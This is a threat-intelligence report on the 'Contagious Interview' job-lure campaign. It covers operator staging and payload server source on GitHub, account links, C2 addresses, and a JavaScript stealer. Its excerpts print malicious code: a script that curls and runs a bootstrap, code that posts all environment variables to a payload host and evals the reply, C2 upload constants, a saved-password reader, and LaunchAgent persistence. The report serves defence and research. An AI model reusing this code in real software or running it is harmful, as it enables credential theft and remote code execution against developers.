Skip to content
PublishedThreat Intelligence · v1.0 · 30 min

Contagious Interview: Public Servers, Infrastructure and Payloads

Public server source, account relationships, infrastructure changes and JavaScript stealer capabilities.

Cristian Chiriac

Published:
2 November 2026
Version:
1.0
Last observed:
30 October 2026
Dataset frozen:
1 November 2026
Collection cut-off:
31 October 2026, 17:59 UTC
Tracked items rechecked:
1 November 2026, 18:23 UTC
Time zone
All dates UTC.
Contents

Public repositories contain staging and payload server source, alongside a related JavaScript stealer family.

The research in 30 seconds

What I found
Public repositories contain staging and payload server source, alongside a related JavaScript stealer family.
What this adds
The first 15 server repositories retain 375 history entries; the examined source connects changing infrastructure with delivery and payload configuration.
Verified scope
17 server-source repositories identified by 29 October; 35 analysed payload files within 157 historical versions.
What remains unknown
Source code and client-controlled commit dates do not establish live deployment, a server response or a victim compromise.

The numbers, with their boundaries

Context · separate measure

17

Server-source repositories

By 29 Oct 2026 · UTC

Counts:
Inventory total: the first 15 plus two found on 29 Oct. Not the 436-repository campaign proof set.

Context · separate measure

375

Server-history entries

History retained by 29 Oct 2026 · UTC

Counts:
History entries for the first 15 only; commit timestamps require corroboration.

Context · separate measure

35 / 157

Analysed files / historical versions

26–27 Oct 2026 · UTC

Counts:
35 analysed payload files: 30 present on 26 Oct and five pushed on 27 Oct; 157 versions including history.
Technical detail:Long tables, code and the evidence register are folded; nothing is left out.

The operators of a DPRK-linked malware campaign keep the source code of their own servers on public GitHub, and its commit history exposes their infrastructure.

  • Seventeen repositories hold the staging and payload servers that deliver an information stealer to developers who take fake job-interview coding tests.
  • In the first fifteen, 375 commits date every change of hostname and deployment.
  • On 27 October 2026, between 02:50 and 04:06 UTC, the operators pushed a new malware build with macOS persistence. Early on 29 October they pushed again, moving three staging servers to new hosts.
  • The 27 October template recheck found 256 repositories with a byte-identical loader; the 29 October hook-lure inventory recorded 51 repositories. These are historical subsets, distinct from the broader 383-repository proof pass on 30 October described in the entry-point analysis.

I did not execute anything or contact the operators' servers. This article separates what I directly observed from what I infer.

This is the infrastructure analysis. Start with the fake coding tests and execution mechanisms for the recruitment bait and initial trigger.

Where this stands (1 November 2026)

#

The proven set was closed on 1 November 2026 with what had been found up to 31 October 2026, 17:59 UTC; repositories found after that are tracked separately and are not in these figures. The full proof pass at pinned commits ran on 30–31 October. On 1 November 2026, 18:23 UTC a read-only GitHub API recheck covered the 162 repositories, 73 accounts and 12 issues that are tracked one by one (operator repositories, Shai-Hulud accounts, phishing issues), not the whole set.

  • Public: 16 of the 18 server-source repositories; the two missing ones disappeared with their account before 29 October.
  • Maintained: two staging servers received commits on 31 October (01:15 and 01:33 UTC), each changing index.js; another one on 29 October at 08:12 UTC. The new code was not read.

Findings and confidence

#

At a glance

#

My inventory, reconciled on 27 October 2026 and extended on 29 October:

  • 267 public coding-test repositories across 61 template families.

    • 256 still contained a loader when re-checked on 27 October (12:41–12:45 UTC). The loader file was byte-identical to an analyzed sample in every case.
    • The loader configuration resolves to a staging URL in 241 of them.
  • 17 server-source repositories. The first 15, holding eight staging and seven payload servers, have 375 recorded commits from March to October 2026; two more, a staging server and a payload server under one account, were found on 29 October.

  • 51 hook-lure repositories in 12 organizations, in which a hidden editor task arms a Git hook when the folder is opened (29 October).

  • 35 payload files analyzed, from 157 payload versions overall:

    • 30 files present on 26 October;
    • 122 earlier versions from the repositories' history;
    • 5 versions pushed on 27 October.

    They belong to one code family with four builds, plus an older generation.

  • 15 command-and-control (C2) IP addresses configured across those versions. 13 had no ThreatFox record when checked.

  • 13 coding-test ZIP archives containing a .git directory with an active post-checkout hook.

These are counts of what I identified, not estimates of all activity or of confirmed infections. How each one was counted:

Count How I counted it
267 / 61 / 256 Repositories sharing the template's sibling files, grouped into families. The loader counts only if its file is byte-identical to an analyzed loader (git blob hash), re-checked on 27 October.
241 Loader configurations that decode to a staging URL. In 14 the .env values are absent; in 1 the variable names could not be parsed.
17 / 375 Repositories whose source implements the staging or payload routes. The 375 commits are those of the first 15.
51 / 12 Repositories whose post-checkout hook downloads and runs a script, with a folder-open task that points Git at that hook directory; and their owning organizations.
157 Distinct payload file contents (git blobs) in the payload repositories' history, including the 5 versions of 27 October.
15 C2 Distinct IP addresses configured in any of those versions. Dates are configuration dates, not observed traffic.
51 accounts Distinct GitHub numeric IDs (plus one account whose ID is unknown). Renamed accounts are counted once; 54 logins in total. 32 were identified by 27 October, 19 more by 29 October.

How I conducted the investigation

#
Expand technical detail · complete record

I used publicly accessible repository and platform-event records (the GitHub REST and Events APIs, and the public GH Archive event history). I also used certificate-transparency data, passive DNS, existing third-party scans, registration (RDAP) records and threat-intelligence lookups.

Preserved samples were analyzed in an isolated virtual machine without executing the malware, contacting the suspected infrastructure, logging into an operator panel or accessing victim data. The deobfuscation process did evaluate string-decoder functions in a network-isolated environment; it did not run the payload as a whole. Later downloads from GitHub ran in a separate, disposable virtual machine, so that no sample was written to my workstation.

Account actions were attributed using platform-recorded events where available, not commit author names or email addresses. Many commits in these repositories carry the names and addresses of unrelated, long-standing developers, which is consistent with identity reuse. Commit timestamps can be set by clients and are labeled as commit dates, never as verified event times.

Data source What was collected Scope Date (UTC) Coverage limit
GitHub code and commit search Loader function names, configuration patterns, template sibling files, lure emails 267 template repositories in 61 families; 508 configuration versions 26–29 Oct 2026 Default branches; indexed files only
GitHub object reads Exact loader and configuration blobs by hash; HEAD re-checks 308 repositories 27 Oct 2026, 12:38–12:45 —
Server-source repositories Full history of 17 Express repositories; Vercel commit statuses 375 commits (first 15) 26–29 Oct 2026 A commit does not prove a deployment
GitHub Events API and GH Archive Authenticated pushes and repository creations Actor-side accounts 26–28 Oct 2026 Events API about 90 days; GH Archive degraded for Aug–Oct 2026
Preserved payload samples Static analysis in an isolated VM 35 files from 157 versions 26–27 Oct 2026 String decoders evaluated with the network isolated; payloads never run
Certificate transparency, passive DNS, RDAP Registration and hosting of staging domains and C2 addresses 48 hostnames; 15 C2 addresses 26–29 Oct 2026 Third-party scan coverage varies
Job-board archives Recruitment posts and their authors 1,214 archived posts on one board; 10 BitAngels posts on 8 boards 28–29 Oct 2026 Deleted posts only through archives

The server side in public repositories

#

Seventeen repositories contain the source of Express applications that make up the delivery chain:

  • Staging servers (8). They answer /settings/{windows,linux,mac}?flag=N with a script that downloads and starts a Node.js program in the background. Requests whose user agent looks like a browser or Postman receive a harmless IP-information decoy instead, so the abuse is not visible when the URL is opened in a browser. In the October 2026 version, the setup script sends the requester's full environment variables ({...process.env}) to the payload host before running the code it gets back.
  • Payload servers (7). They return one of several multi-megabyte obfuscated JavaScript files kept in a folder named 10/. They also contain code that records each request (client IP, location, host name and user name) in a Firestore collection, and an operator view at /mine/list.

Excerpts from the index.js of one staging server, as last changed on 23 October 2026 (489 lines). First, the decoy for anyone who opens the URL in a browser or in Postman:

js
const VALID_FLAGS = ["1", "2", "3", "4", "5", "6", "7", "8", "9"];
// ...
// Detect if request comes from a browser or Postman
const isBrowserOrPostman =
  userAgent.includes("Mozilla") || userAgent.includes("Chrome") ||
  userAgent.includes("Safari") || userAgent.includes("Edge") || postmanToken;
if (isBrowserOrPostman) {
  // --- Show IP info if accessed from a browser or Postman ---
  const response = await axios.get(`hxxp://ip-api[.]com/json/${clientIp}`);
  return res.json({ ipInfo: response.data });  // ← harmless-looking answer
}

Then what a request from curl or wget receives, here for Windows. The Linux and macOS variants end with nohup bash ... > /dev/null 2>&1 &, so the next stage keeps running in the background:

js
case "windows":
  if (!VALID_FLAGS.includes(flag)) {
    return res.status(403).send("Unauthorized token");
  }
  script = `
@echo off
set "VSCODE_DIR=%USERPROFILE%\\.vscode"
if not exist "%VSCODE_DIR%" ( mkdir "%VSCODE_DIR%" )
curl -s -L -o "%VSCODE_DIR%\\vscode-bootstrap.cmd" hxxps://jitnad[.]biz/settings/bootstrap?flag=${flag}
"%VSCODE_DIR%\\vscode-bootstrap.cmd"
`;

And the setup script's last step, which sends the requester's environment variables and runs the reply:

js
const apikey = "3aeb34a3${flag}";
axios
  .post(
    `hxxps://${host}/api/vscode-encrypted/${apikey}`,
    { ...process.env },                              // ← every environment variable
    { headers: { "x-secret-header": "secret" } }
  )
  .then((response) => {
    eval(response.data);                             // ← whatever comes back is executed
  });

The repository history shows how configured hosts changed. It records:

  • 48 hostnames: 22 on vercel.app, 3 on onrender.com, 3 Firebase projects and 20 custom domains;
  • 28 Vercel deployment targets, named by Vercel's own GitHub integration in commit statuses.

A commit shows what a version of the code contained. It does not establish that the version was deployed, that a service was live, or what it returned to a particular client.

The servers are still maintained. On 27 October 2026, between 02:50 and 04:06 UTC, four payload repositories owned by four different accounts each received a commit replacing one payload file. Vercel reported a successful deployment within one to two minutes of each commit.

Two days later, on 29 October between 00:02 and 02:54 UTC, three staging-server repositories and one payload-server repository received new commits. The staging servers moved to view-my-result[.]lol and jitnad[.]biz, and a new Vercel project appeared.

Two more server-source repositories belong to the account that posted the BitAngels job ads. One is a staging server with the same /settings/:type route, which moved from githooks[.]xyz to git-node-update[.]online (registered 12 October 2026) and was deployed eleven times to Vercel between 7 and 23 October. The other is a payload server with the /mine/list panel; its middleware files are byte-identical to those of an earlier staging server. One account and one host therefore join the job ads, the BitAngels hook lures and the server code.

The presence of operator server source in public repositories was not found in the public sources checked as of 29 October 2026. This is a bounded literature-search result, not a claim that no one else has observed it.

Account and infrastructure relationships

#

These relationships describe accounts and recorded events. No natural person is identified.

  • Continuity across accounts. An account that is no longer publicly accessible pushed a payload-server repository between 17 March and 22 April 2026, according to GH Archive. Its final commit appears in the history of a later account's repository. Two new accounts were created on 29 April 2026. One of them pushed onto a staging-server commit thirty minutes after its creation.
  • User-then-organization pairs. From September 2026, four times, a new user account was followed within 1.5 to 18 minutes by an organization whose repositories only that user pushed to, in the available event window.
  • Renames. Three accounts were renamed, identified by stable numeric platform IDs. One of them carried a different name in 2024.
  • Lure-template distributor. An organization that distributes loader-bearing templates (sixteen of its repositories, together with its owner's, carry the loader) configured the same staging hosts that one of the staging servers adds to its source.
  • Recruiter lure and npm package. A malicious npm package (OSV MAL-2026-2896, April 2026) [12] uses the same payload URL and key as a previously documented recruiter lure. The payload server behind that URL is one whose source the since-inaccessible account had pushed.

Creation timing, matching names or shared hosting alone cannot establish common human control. A shared staging host such as api-server-mocha, configured in 214 template copies, indicates the same campaign infrastructure rather than a single operator group. In total I recorded 51 distinct accounts on the infrastructure side (54 logins including old names): 32 by 27 October and 19 more by 29 October, mostly the hook-lure organizations. Thirty-seven were publicly accessible on 29 October.

#

Static analysis of the preserved JavaScript samples found code that targets:

  • browser data and extension storage, including the MetaMask wallet;
  • macOS keychain data;
  • SSH and AWS files;
  • clipboard contents and screenshots.

The samples also contain operating-system checks, upload endpoints on ports 8085 and 8086, and a Socket.IO control channel on port 8087. All samples share five embedded modules that are identical once IP addresses, ports and numbers are normalized.

After deobfuscation, the upload and control addresses are plain constants near the top of each sample. This one is from a B1-cdp file:

js
const u_s = "hxxp://144.172.86[.]31:8086/upload";
const l_s = "hxxp://144.172.86[.]31:8085/upload";
const s_s = "hxxp://144.172.86[.]31:8087";

The Chrome module starts a separate, headless browser with its debugging port open:

js
function launchChrome() {
  const chrome = spawn(
    CHROME_EXECUTABLE,
    [
      `--remote-debugging-port=${CDP_PORT}`,
      `--user-data-dir=${CDP_PROFILE}`,
      "--allow-file-access-from-files",
      "about:blank",
      "--headless=new",
    ],
    { stdio: "ignore", detached: false }
  );
  // ...
}

And the password module looks for Chromium's saved-login databases in each browser profile:

js
const masterKey = fs.existsSync(localStatePath) ? <redacted>(localStatePath, `Browser${browserIndex}`) : null;
const allPasswords = [];
const loginDataNames = ['Login Data', 'Login Data For Account'];
for (const loginDataName of loginDataNames) {
  // ...
  allPasswords.push(...passwords);
}

The macOS module added on 27 October (build B3-cdp-la, the same in all five new versions) writes a LaunchAgent that starts that debuggable Chrome through launchd. Condensed:

Full source excerpt · 32 lines
js
if (os.platform() == "darwin" && os.release().localeCompare("27.0.0", undefined, { numeric: true }) >= 0) {
  const CDP_PORT = 9222;
  const LAUNCHD_LABEL = "com.user.chrome.cdp";
  const LAUNCH_AGENTS_DIR = path.join(os.homedir(), "Library", "LaunchAgents");
  const PLIST_PATH = path.join(LAUNCH_AGENTS_DIR, `${LAUNCHD_LABEL}.plist`);
  // ...
  const plist = `<?xml version="1.0" encoding="UTF-8"?>
    <plist version="1.0">
    <dict>
      <key>Label</key>
      <string>${LAUNCHD_LABEL}</string>
      <key>ProgramArguments</key>
      <array>
        <string>${xmlEscape(EXECUTABLE)}</string>   <!-- ← Chrome, with the CDP arguments below -->
        ...
      </array>
      <key>RunAtLoad</key>
      <true/>                                         <!-- ← started again at every login -->
      <key>KeepAlive</key>
      <false/>
      <key>StandardOutPath</key>
      <string>/tmp/chrome-cdp.stdout.log</string>
      <key>StandardErrorPath</key>
      <string>/tmp/chrome-cdp.stderr.log</string>
    </dict>
    </plist>`;

  await fsPromises.writeFile(PLIST_PATH, plist, "utf8");
  await execFileAsync("/usr/bin/plutil", ["-lint", PLIST_PATH]);
  await execFileAsync("/bin/launchctl", ["bootstrap", `gui/${process.getuid()}`, PLIST_PATH]);
  // ...
}

Two details matter for defenders. The plist path is fixed, ~/Library/LaunchAgents/com.user.chrome.cdp.plist, and launchd writes Chrome's output to two files in /tmp. The branch also runs only when os.release(), the Darwin kernel version, is 27.0.0 or later. macOS 26 reports Darwin 25, and I did not verify which macOS release, if any, reports 27. As written, the module may therefore not run on current Macs; that reads as a feature being prepared, but it is an inference from the code.

I grouped the samples into builds:

Build Samples Distinguishing feature
A 13 of the 30 —
B1-cdp 12 of the 30, plus 19 historical A Puppeteer module that starts headless Chrome with a remote-debugging port and drives it, apparently to copy browser profile data
B2 5 of the 30 —
B3-cdp-la the 5 versions pushed on 27 October Replaced exactly the four B2 files that used C2 45.61.145[.]161 (one file was replaced twice), and kept that C2. Adds a macOS LaunchAgent, com.user.chrome.cdp, that has launchd start Chrome with its debugging port open at every login (only when the Darwin version is 27.0.0 or later)
Older generation 27 historical Fewer core modules

Neither the Chrome-debugging module nor the LaunchAgent persistence was found in the public sources I checked for this lineage. LaunchAgent persistence itself is a common macOS technique. This classification reflects static inspection; successful data theft, actual network responses and runtime behavior were not observed.

The assessment that this is consistent with the OtterCookie lineage draws on module structure and on prior public reporting by Cisco Talos [2], Elastic [9] and the SANS Internet Storm Center [8], whose reports also describe the 8085–8087 port pattern. It does not independently identify a nationality or natural person.

ATT&CK mapping

#
Expand technical detail · complete record
MITRE ATT&CK v20 (content v20.0), checked on attack.mitre.org on 29 October 2026. Only behaviour observed in files, repositories or registration records is mapped.
TechniqueNameTacticEvidence
T1585.001 Social Media AccountsResource DevelopmentThrowaway GitHub users and user-then-organization pairs that host lures and server code
T1583.001 DomainsResource DevelopmentStaging domains registered in batches at Dynadot and Hostinger, September – October 2026
T1583.007 ServerlessResource DevelopmentStaging and payload servers deployed as Vercel projects from the operators' repositories
T1608.001 Upload MalwareResource DevelopmentPayload files kept in the payload servers' 10/ folder; ZIP archives with live hooks
T1204.002 Malicious FileExecutionThe candidate must run the project, open and trust the folder, or check out the archive
T1059.007 JavaScriptExecutionerrorHandler.js passes the server response to Function.constructor; the payload is Node.js
T1059.004 Unix ShellExecutionpost-checkout hooks pipe curl or wget output into sh
T1036.008 Masquerade File TypeStealthFolder-open tasks in six template repositories run JavaScript stored under font names
T1027 Obfuscated Files or InformationStealthMulti-megabyte obfuscated payloads; base64 staging URLs in .env files
T1543.001 Launch AgentPersistenceBuild B3-cdp-la writes ~/Library/LaunchAgents/com.user.chrome.cdp.plist
T1555.003 Credentials from Web BrowsersCredential AccessPassword module reads Chromium Login Data databases (read from code)
T1552.001 Credentials In FilesCredential AccessSSH and AWS files targeted (read from code)
T1115 Clipboard DataCollectionClipboard collection module (read from code)
T1113 Screen CaptureCollectionScreenshot module (read from code)
T1071.001 Web ProtocolsCommand and ControlUploads to /upload on ports 8085 and 8086; Socket.IO control on port 8087

Evidence register

#
Expand technical detail · complete record
E-CI-LOADERLoader-bearing template repositories

267 repositories in 61 template families; loader file compared by git blob hash with analyzed samples; configuration decoded to staging URLs; re-checked at HEAD.

Source: GitHub code search and object reads · Collected 27 October 2026

E-CI-SERVEROperator server-source repositories

Express source of staging and payload servers, their full commit history, configured hosts and Vercel deployment statuses.

Source: GitHub repositories and commit statuses · Collected 29 October 2026

E-CI-PAYLOADPayload versions and static analysis

157 distinct payload blobs from the payload-server history; 35 preserved and analyzed statically, including the five B3-cdp-la versions of 27 October.

Source: GitHub object reads; isolated VM · Collected 27 October 2026

E-CI-HOOKSGit-hook lures

Thirteen ZIP archives with a live .git/hooks/post-checkout, and 51 repositories whose folder-open task sets core.hooksPath to a repository hook directory.

Source: GitHub contents API inside an isolated VM · Collected 29 October 2026

E-CI-RECRUITRecruitment posts

ParallelChain Labs posts preserved in a job board's archive; ten BitAngels posts on eight GitHub-hosted job boards with their authors and states.

Source: GitHub issues API; job-board archive · Collected 29 October 2026

E-CI-EVENTSAccount events

Authenticated push and creation events for actor-side accounts, stable numeric IDs and renames.

Source: GitHub Events API; GH Archive · Collected 28 October 2026

Evidence chain and confidence

#
Relationship Assessment What remains unobserved
Job post → parallelchain-labs[.]com Directly observed in archived posts Whether any specific applicant engaged
BitAngels job posts → server source Directly observed: the posting account owns a staging and a payload-server repository Whether the posts led any candidate to a lure
Hook-lure repository → execution Task and hook observed; the task runs on folder open in a trusted workspace Actual execution was not tested
Domain → coding-test ZIPs Directly observed: hook URL inside the ZIPs How the ZIPs reached candidates
ZIP → execution Hook file observed; runs on checkout Actual execution was not tested
Hook → staging host URL observed in hook Live response and service availability
Staging server → payload Supported by the server source What the server returned at runtime
Payload → configured C2 Observed in static analysis A live connection or successful upload
From a job post to a stealer, as observed in files and records
  1. 01Job postParallelChain Labs or BitAngels persona on a GitHub-hosted job board
  2. 02Coding testT1204.002Loader-bearing template, hook-lure repository or ZIP with a live hook
  3. 03TriggerT1059.007errorHandler.js at runtime, folder-open task, or post-checkout hook
  4. 04Staging serverT1583.007/settings/<os>?flag=N returns a setup script; browsers get an IP-information decoy
  5. 05Payload serverT1608.001Returns an obfuscated payload from the 10/ folder and logs the request to Firestore
  6. 06Stealer and remote accessT1071.001Browser data, keychain, SSH and AWS files, clipboard, screenshots; C2 on ports 8085–8087
Inference Confidence Alternative explanation Why it is less likely
The server-source repositories belong to the operators High Researchers or victims mirroring operator code Authenticated pushes by the owning accounts; deployments within minutes of commits
Template copies belong to candidates, not operators Moderate Operator-seeded decoys Long-lived personal accounts; copies spread over months; some accounts later flagged as staged are listed separately
One campaign behind all three triggers Moderate Several groups sharing templates and hosts Shared staging hosts and campaign identifiers in the same repositories
The macOS module is being prepared, not active Low–moderate Already effective on some systems The branch requires Darwin 27.0.0 or later

Timeline

#

Exact dates. Platform timestamps unless marked as commit dates; commit dates are set by the client.

Research timeline
  1. Earliest malicious artifact found

    Assessment project with a runtimeConfig.js loader, in an organization created the same day

  2. First payload version in the payload-server history (commit date)

  3. Two new accounts created

    One pushes onto a staging-server commit 30 minutes after creation

  4. parallelchain-labs[.]com registered

  5. First ParallelChain Labs job post; TLS certificate issued about three hours later

  6. Second ParallelChain Labs job post

  7. The operators' server source adds parallelchain-labs[.]com as a staging host (commit date)

  8. git-node-update[.]online registered

  9. Build B3-cdp-la pushed to four payload repositories

    Pushes 02:50–04:06 UTC; re-check 12:38–12:45

  10. Operators update three staging servers and one payload server

    00:02–02:54 UTC; one account and its two server repositories no longer accessible at 04:21

Periods:

  • July 2025 – October 2026: the errorHandler loader file stays byte-identical across the template history (commit dates); only the staging host changes.
  • 17 March – 22 April 2026: a since-inaccessible account pushes a payload-server repository (GH Archive).
  • 22 August – 15 September 2026: ten BitAngels job posts on eight GitHub-hosted job boards.
  • 3 – 24 October 2026: most hook-lure organizations are created; Dynadot registrations on 8, 13 and 23 October.

Data notes and reconciliation

#
Expand technical detail · complete record
Item Values seen Explanation
Loader repositories 256 vs 333 256 = byte-identical loaders in the 61 template families (27 Oct); 333 = 30 Oct proof pass, including redistributed copies and other listed hits
First sweep vs inventory 98 of 100 hits vs 256 repositories Different measures: search hits on 26 October versus reconciled repositories on 27 October
Hook lures in the first batch 34 vs 32 Re-counted from the hook files; two repositories had no hook
Earliest malicious artifact July 2025 vs 6 June 2025 A runtimeConfig loader found on 29 October predates the errorHandler template history
Server-source repositories 15 vs 17 Two found on 29 October; the 375 commits are those of the first 15
Actor-side accounts 32 vs 51 19 added on 29 October, mostly hook-lure organizations
An account first classed "clean" Re-classified An earlier sweep checked lure markers only and missed its server-source repositories

Indicators

#
Expand technical detail · complete record

These indicators are defanged. A historical association does not establish present-day ownership or maliciousness. Dates are when the indicator was configured, not observed network activity.

Lure and staging domains
0 selected · 25 of 25 shown
TypeValueContextLookupsCopy
domainparallelchain-labs[.]comConfigured as a staging or lure host in operator code, hooks or loader configurations
Confidence: Confirmed malicious
domainparallelchain-lab[.]comLook-alike of the lure domain; content not read
Confidence: High-confidence suspicious
    domaintsoftlabs[.]comConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainhamdingersoft[.]comConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domaingd[.]tracelic[.]comConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domaingithooks[.]xyzConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domaingithooks[.]homesConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domaingitupdate[.]lolConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domaingitremoteupdate[.]lolConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainaerrecens[.]lolConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainaerrecens[.]onlineConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainaltrevon[.]comConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainvespero[.]xyzConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainhonestyfi[.]xyzConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainjitnad[.]bizConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainjitnad[.]lolConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domaindmitify[.]xyzConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainview-my-result[.]lolConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainlotusbyte[.]latConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainlootrush[.]sbsConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainlootrushs[.]xyzConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainbrickfi[.]vipConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainverifi-ai[.]networkConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domainenabledomain[.]appConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    domaingit-node-update[.]onlineConfigured as a staging or lure host in operator code, hooks or loader configurations
    Confidence: Confirmed malicious
    Staging hosts on hosting platforms
    0 selected · 9 of 9 shown
    TypeValueContextLookupsCopy
    domainapi-server-mocha[.]vercel[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    domainserver-azure-tau[.]vercel[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    domainy-lilac-sigma[.]vercel[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    domainwalter-server[.]vercel[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    domainserver-victory5[.]vercel[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    domaintech0204vercelapp[.]vercel[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    domaindev-vic[.]vercel[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    domainrailway-production-1649[.]up[.]railway[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    domainbs-production[.]up[.]railway[.]appStaging host configured in loader configurations or server source
    Confidence: Confirmed malicious
    C2 addresses (ports 8085–8087; all registered to RouterHosting LLC / Cloudzy per RDAP)
    0 selected · 15 of 15 shown
    TypeValueContextCopy
    ip144.172.107[.]191Configured 2026-03
    Confidence: Confirmed malicious
    ip144.172.93[.]169Configured 2026-03
    Confidence: Confirmed malicious
    ip144.172.110[.]228Configured 2026-03/04
    Confidence: Confirmed malicious
    ip144.172.94[.]202Configured 2026-04 to 06
    Confidence: Confirmed malicious
    ip172.86.73[.]27Configured 2026-05/06
    Confidence: Confirmed malicious
    ip172.86.126[.]76Configured 2026-06/07
    Confidence: Confirmed malicious
    ip153.75.87[.]26Configured 2026-07
    Confidence: Confirmed malicious
    ip144.172.110[.]154Configured 2026-09
    Confidence: Confirmed malicious
    ip144.172.86[.]31Configured 2026-09
    Confidence: Confirmed malicious
    ip144.172.85[.]176Configured 2026-09
    Confidence: Confirmed malicious
    ip172.86.125[.]61Configured 2026-10
    Confidence: Confirmed malicious
    ip172.86.125[.]98Configured 2026-10
    Confidence: Confirmed malicious
    ip167.88.172[.]174Configured 2026-10
    Confidence: Confirmed malicious
    ip144.172.118[.]166Configured 2026-10
    Confidence: Confirmed malicious
    ip45.61.145[.]161Configured through 27 October 2026
    Confidence: Confirmed malicious
    Hook and payload files (SHA-256)
    0 selected · 36 of 36 shown
    TypeValueContextLookupsCopy
    sha2560f08f08737dd5b6dfd76f396e361b7d795156888883fa89139a73b9934c64a24post-checkout hook, identical in all 13 ZIP archives
    Confidence: Confirmed malicious
    sha2566861cb75c996512c02b0161c2e533d533b30f95df33decfd47c3189bf3f2b0b7Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2568737d4f4f4d8cb346212088513abb32372a5bea3cf06e94761eeeb05382a8597Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25624954d3ff6c5b4ad1c4f61ae486ae979f0d28516491ebbd316bb18f9dedeeee4Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25644fa118e9b1d5be02eb0bcf1a27b84cc690a4578c7e1999e92514dd2c1ff4bc7Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2560e7eadd106528bee5be69e2441e0ff9e210364e5dc017f4a938569ba79e025daPayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256ff896698878990afb2e9a4ba5d9dcd08c19b8857dd31e210f6c826d752706445Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25604d74c9565427074fef5f0eb687ceb7c4f5a2e822fe1e52923e2130fd6842333Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2569ecef510b69f643880e21a070e537d0af9c89db916cd46c13ce2ebb893667e74Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25641608549a5e0152ea8578955eba1775a0ae23e8a9d45796ff2f6ccf349a02f1ePayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2563d87724d30456f1229eeba84e0102cf831fff69cc61fcca8ace03fa717688ad9Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256ed8b62831f8a9e20bb1d792e2eb3d7e5b4fc8daf96a4c972a11d548c15879d23Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2569e8af6fcfa5108f45af58e4873836a979c43e3bd70ef8e1839e6177327d7d99ePayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25698cd340afc6c13ca4347724c6e2794546f818072ca6cdd6106cde93dc586d45cPayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25613d2ad0418dcdee4d446e87acfa57cd40bb05d78dcb3a223467bcb251f5d1a32Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256850414cc8fb032e7bfcccdaf760f709aef556e509cc7c72afef05776a4e6cdc8Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2564a868091a68c994f8a66ba7ca824dcab6cc19f12d17cf5a69def9c17ec67a965Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256d395f5cf1c1b049acaac87586787cdace39e8be51b9ffdedf90bad28088a43e5Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25612d766f521c5bfa24e804a0eb187f5d61d3a3c2090497924da9d14619217cdd0Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256aa20c251abb49af4eb8a30107d5c150f61f108a5f1ce5b68f426ae55e2b2c962Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2568269e7186376b1e7d6b02355a38dafc7d364fc1d6188e25021db2ef31ec9477aPayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256d17ff05fbd218d542cae5013c479b1ccddae54c3fadda958d14bc566194379eePayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2561763521f7b86b7203912577bf20a89e6605f408049b5c8016f780cc1c001fe4bPayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha256bb0fdb22f01cd63c415a3c75beae0881b7555961da85d150dcd56c7791754effPayload present on 26 October 2026
    Confidence: Confirmed malicious
    sha2565a02afd952537b3606ea61d72aba79142e54b50c4f5820fe999113735f1462c2Payload present on 26 October 2026
    Confidence: Confirmed malicious
    sha25644fe754a01619e7a354028126a1e339c5995f7ca7a8c7b9fe4975cd966c785e0Payload present on 26 October 2026
    Confidence: Confirmed malicious
